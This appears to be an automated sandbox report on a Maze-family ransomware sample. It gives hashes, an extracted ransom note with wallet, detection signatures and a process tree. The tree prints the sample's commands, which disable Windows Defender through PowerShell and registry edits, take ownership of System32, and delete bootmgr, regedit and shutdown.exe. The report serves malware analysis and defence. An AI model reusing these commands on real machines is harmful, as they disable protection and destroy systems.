maze | 4efcc256493c1c7d8f695bee676beab4aaf3d3d1e1847cf8462c38af1107b7b8

Resubmissions

25-10-2021 07:50

211025-jn857sfgg4 10

20-10-2021 09:26

211020-ld6cnshgel 10

Analysis

max time kernel
376s
max time network
375s
platform
windows10_x64
resource
win10-en-20210920
submitted
20-10-2021 09:26

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Report Analysis Logs

General

Target

b53415f6_lcvDB3iF4J.exe
Size

7.4MB
MD5

b53415f6d38ce4831cbf327daf5201b4
SHA1

778d6f976e10d201903c76adcd18f14e685a3704
SHA256

4efcc256493c1c7d8f695bee676beab4aaf3d3d1e1847cf8462c38af1107b7b8
SHA512

0c2e2fd8ebfe175dc844d64ad9e85f8ab23f8e63b75d7773a38bf68741071c0ea6aa91402b1ab5813a7d66b289650b1e868c56dd86636dcc26c37c07bdb55bb4

Score

10^/10

maze discovery evasion exploit ransomware themida trojan

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\DECRYPT-FILES.TXT

Ransom Note

Ooops! All your important files are encrypted! [+] What happend to my computer? [+] All your important files are encrypted. No one can help you to restore files without our special decryptor. Backups were either encrypted or deleted. Shadow copies also removed. If you want to restore some of your files for free write to email (contact is below) and attach 2-3 encrypted files. You will receive decrypted samples. To decrypt other files you have to pay $250. [+] How do i pay? [+] Payment is accepted in Bitcoin only. Please check the current price of Bitcoin and buy some Bitcoins. And send the correct amount to the address specified at the bottom. [+] How can i contact? [+] 1.Download Tor browser (https://www.torproject.org/) 2.Create account on mail2tor (http://mail2tor2zyjdctd.onion/) 3.Write email to us ([email protected]) If you can't use tor in your country you can write to us on our temporary email address. [+] What if i already paid? [+] Send your Bitcoin wallet ID to e-mail provided above. Attention! 1.Do not modify encrypted files. 2.Do not try decrypt your data using third party software. 3.Do not turn off your computer. Our bitcoin address: bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe Our temporary e-mail address: [email protected]

Emails

[email protected]

Wallets

bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe

URLs

http://mail2tor2zyjdctd.onion/

Signatures

Maze
Ransomware family also known as ChaCha.
trojan ransomware maze
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Disables Task Manager via registry modification
evasion

Executes dropped EXE 1 IoCs

pid	Process
3184	VSSVC.exe

Modifies extensions of user files 1 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\ConfirmEdit.crw => C:\Users\Admin\Pictures\ConfirmEdit.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe

Possible privilege escalation attempt 5 IoCs

exploit

pid	Process
2660	takeown.exe
4244	icacls.exe
1936	takeown.exe
2636	takeown.exe
296	icacls.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	b53415f6_lcvDB3iF4J.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	b53415f6_lcvDB3iF4J.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	VSSVC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	VSSVC.exe

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4244	icacls.exe
1936	takeown.exe
2636	takeown.exe
296	icacls.exe
2660	takeown.exe

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/memory/3600-118-0x00000000009C0000-0x00000000009C1000-memory.dmp	themida
behavioral1/files/0x000500000001aba9-138.dat	themida
behavioral1/files/0x000500000001aba9-137.dat	themida
behavioral1/memory/3184-158-0x00000000008E0000-0x00000000008E1000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	VSSVC.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	b53415f6_lcvDB3iF4J.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3600	b53415f6_lcvDB3iF4J.exe
3184	VSSVC.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1688	powershell.exe
4372	powershell.exe
4368	powershell.exe
4560	powershell.exe
1688	powershell.exe
4368	powershell.exe
4560	powershell.exe
4372	powershell.exe
1688	powershell.exe
4368	powershell.exe
4372	powershell.exe
4560	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	3600	b53415f6_lcvDB3iF4J.exe
Token: SeDebugPrivilege	3600	b53415f6_lcvDB3iF4J.exe
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	4372	powershell.exe
Token: SeDebugPrivilege	4368	powershell.exe
Token: SeDebugPrivilege	3184	VSSVC.exe
Token: SeDebugPrivilege	3184	VSSVC.exe
Token: SeTakeOwnershipPrivilege	2636	takeown.exe
Token: SeTakeOwnershipPrivilege	2660	takeown.exe
Token: SeTakeOwnershipPrivilege	1936	takeown.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 3600 wrote to memory of 4368	3600	b53415f6_lcvDB3iF4J.exe	70
PID 3600 wrote to memory of 4368	3600	b53415f6_lcvDB3iF4J.exe	70
PID 3600 wrote to memory of 4368	3600	b53415f6_lcvDB3iF4J.exe	70
PID 3600 wrote to memory of 4372	3600	b53415f6_lcvDB3iF4J.exe	71
PID 3600 wrote to memory of 4372	3600	b53415f6_lcvDB3iF4J.exe	71
PID 3600 wrote to memory of 4372	3600	b53415f6_lcvDB3iF4J.exe	71
PID 3600 wrote to memory of 1688	3600	b53415f6_lcvDB3iF4J.exe	75
PID 3600 wrote to memory of 1688	3600	b53415f6_lcvDB3iF4J.exe	75
PID 3600 wrote to memory of 1688	3600	b53415f6_lcvDB3iF4J.exe	75
PID 3600 wrote to memory of 4560	3600	b53415f6_lcvDB3iF4J.exe	73
PID 3600 wrote to memory of 4560	3600	b53415f6_lcvDB3iF4J.exe	73
PID 3600 wrote to memory of 4560	3600	b53415f6_lcvDB3iF4J.exe	73
PID 3600 wrote to memory of 3184	3600	b53415f6_lcvDB3iF4J.exe	78
PID 3600 wrote to memory of 3184	3600	b53415f6_lcvDB3iF4J.exe	78
PID 3600 wrote to memory of 3184	3600	b53415f6_lcvDB3iF4J.exe	78
PID 3184 wrote to memory of 2340	3184	VSSVC.exe	83
PID 3184 wrote to memory of 2340	3184	VSSVC.exe	83
PID 3184 wrote to memory of 2340	3184	VSSVC.exe	83
PID 2340 wrote to memory of 2636	2340	cmd.exe	85
PID 2340 wrote to memory of 2636	2340	cmd.exe	85
PID 2340 wrote to memory of 2636	2340	cmd.exe	85
PID 2340 wrote to memory of 296	2340	cmd.exe	86
PID 2340 wrote to memory of 296	2340	cmd.exe	86
PID 2340 wrote to memory of 296	2340	cmd.exe	86
PID 2340 wrote to memory of 2660	2340	cmd.exe	87
PID 2340 wrote to memory of 2660	2340	cmd.exe	87
PID 2340 wrote to memory of 2660	2340	cmd.exe	87
PID 2340 wrote to memory of 4244	2340	cmd.exe	88
PID 2340 wrote to memory of 4244	2340	cmd.exe	88
PID 2340 wrote to memory of 4244	2340	cmd.exe	88
PID 2340 wrote to memory of 1936	2340	cmd.exe	89
PID 2340 wrote to memory of 1936	2340	cmd.exe	89
PID 2340 wrote to memory of 1936	2340	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\b53415f6_lcvDB3iF4J.exe
"C:\Users\Admin\AppData\Local\Temp\b53415f6_lcvDB3iF4J.exe"
1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3600
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4368
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent NeverSend
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4372
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4560
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting Disable
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1688
- C:\Users\Admin\AppData\Local\Temp\VSSVC.exe
  "C:\Users\Admin\AppData\Local\Temp\VSSVC.exe"
  2⤵
  - Executes dropped EXE
  - Modifies extensions of user files
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3184
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && takeown /f C:\Windows\regedit.exe && icacls C:\Windows\regedit.exe /grant %username%:F && del C:\Windows\regedit.exe && takeown /f C:\Windows\System32\shutdown.exe && icacls C:\Windows\System32\shutdown.exe /grant %username%:F && del C:\Windows\System32\shutdown.exe && Exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2340
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:2636
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32 /grant Admin:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:296
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\drivers
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:2660
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\drivers /grant Admin:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4244
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\LogonUI.exe
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1936

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5052

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\DECRYPT-FILES.TXT
1⤵
PID:3756

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1688-180-0x0000000007710000-0x0000000007711000-memory.dmp

Filesize
4KB

Download
memory/1688-151-0x0000000006930000-0x0000000006931000-memory.dmp

Filesize
4KB

Download
memory/1688-128-0x0000000002BA0000-0x0000000002BA1000-memory.dmp

Filesize
4KB

Download
memory/1688-193-0x0000000002BA0000-0x0000000002BA1000-memory.dmp

Filesize
4KB

Download
memory/1688-131-0x0000000002BA0000-0x0000000002BA1000-memory.dmp

Filesize
4KB

Download
memory/1688-155-0x0000000006932000-0x0000000006933000-memory.dmp

Filesize
4KB

Download
memory/1688-291-0x0000000006933000-0x0000000006934000-memory.dmp

Filesize
4KB

Download
memory/1688-228-0x000000007F380000-0x000000007F381000-memory.dmp

Filesize
4KB

Download
memory/3184-158-0x00000000008E0000-0x00000000008E1000-memory.dmp

Filesize
4KB

Download
memory/3184-154-0x0000000077CC0000-0x0000000077E4E000-memory.dmp

Filesize
1.6MB

Download
memory/3184-179-0x0000000005B40000-0x000000000603E000-memory.dmp

Filesize
5.0MB

Download
memory/3600-118-0x00000000009C0000-0x00000000009C1000-memory.dmp

Filesize
4KB

Download
memory/3600-120-0x00000000066E0000-0x00000000066E1000-memory.dmp

Filesize
4KB

Download
memory/3600-121-0x0000000006280000-0x0000000006281000-memory.dmp

Filesize
4KB

Download
memory/3600-122-0x00000000061E0000-0x00000000066DE000-memory.dmp

Filesize
5.0MB

Download
memory/3600-123-0x0000000006210000-0x0000000006211000-memory.dmp

Filesize
4KB

Download
memory/3600-115-0x0000000077CC0000-0x0000000077E4E000-memory.dmp

Filesize
1.6MB

Download
memory/4368-187-0x0000000008A70000-0x0000000008A71000-memory.dmp

Filesize
4KB

Download
memory/4368-129-0x0000000004DC0000-0x0000000004DC1000-memory.dmp

Filesize
4KB

Download
memory/4368-159-0x0000000007FD0000-0x0000000007FD1000-memory.dmp

Filesize
4KB

Download
memory/4368-139-0x0000000007280000-0x0000000007281000-memory.dmp

Filesize
4KB

Download
memory/4368-182-0x0000000008770000-0x0000000008771000-memory.dmp

Filesize
4KB

Download
memory/4368-287-0x0000000004EE3000-0x0000000004EE4000-memory.dmp

Filesize
4KB

Download
memory/4368-192-0x0000000004DC0000-0x0000000004DC1000-memory.dmp

Filesize
4KB

Download
memory/4368-144-0x00000000078F0000-0x00000000078F1000-memory.dmp

Filesize
4KB

Download
memory/4368-143-0x0000000004EE0000-0x0000000004EE1000-memory.dmp

Filesize
4KB

Download
memory/4368-130-0x0000000004DC0000-0x0000000004DC1000-memory.dmp

Filesize
4KB

Download
memory/4368-220-0x000000007EB70000-0x000000007EB71000-memory.dmp

Filesize
4KB

Download
memory/4368-147-0x0000000004EE2000-0x0000000004EE3000-memory.dmp

Filesize
4KB

Download
memory/4372-134-0x00000000044D0000-0x00000000044D1000-memory.dmp

Filesize
4KB

Download
memory/4372-150-0x0000000006B40000-0x0000000006B41000-memory.dmp

Filesize
4KB

Download
memory/4372-224-0x000000007EED0000-0x000000007EED1000-memory.dmp

Filesize
4KB

Download
memory/4372-136-0x00000000044D0000-0x00000000044D1000-memory.dmp

Filesize
4KB

Download
memory/4372-194-0x00000000044D0000-0x00000000044D1000-memory.dmp

Filesize
4KB

Download
memory/4372-174-0x0000000007AF0000-0x0000000007AF1000-memory.dmp

Filesize
4KB

Download
memory/4372-168-0x00000000078A0000-0x00000000078A1000-memory.dmp

Filesize
4KB

Download
memory/4372-164-0x0000000007090000-0x0000000007091000-memory.dmp

Filesize
4KB

Download
memory/4372-284-0x0000000006B43000-0x0000000006B44000-memory.dmp

Filesize
4KB

Download
memory/4372-149-0x0000000006B42000-0x0000000006B43000-memory.dmp

Filesize
4KB

Download
memory/4560-153-0x0000000004392000-0x0000000004393000-memory.dmp

Filesize
4KB

Download
memory/4560-152-0x0000000004390000-0x0000000004391000-memory.dmp

Filesize
4KB

Download
memory/4560-133-0x0000000004130000-0x0000000004131000-memory.dmp

Filesize
4KB

Download
memory/4560-464-0x0000000004393000-0x0000000004394000-memory.dmp

Filesize
4KB

Download
memory/4560-135-0x0000000004130000-0x0000000004131000-memory.dmp

Filesize
4KB

Download
memory/4560-198-0x0000000004130000-0x0000000004131000-memory.dmp

Filesize
4KB

Download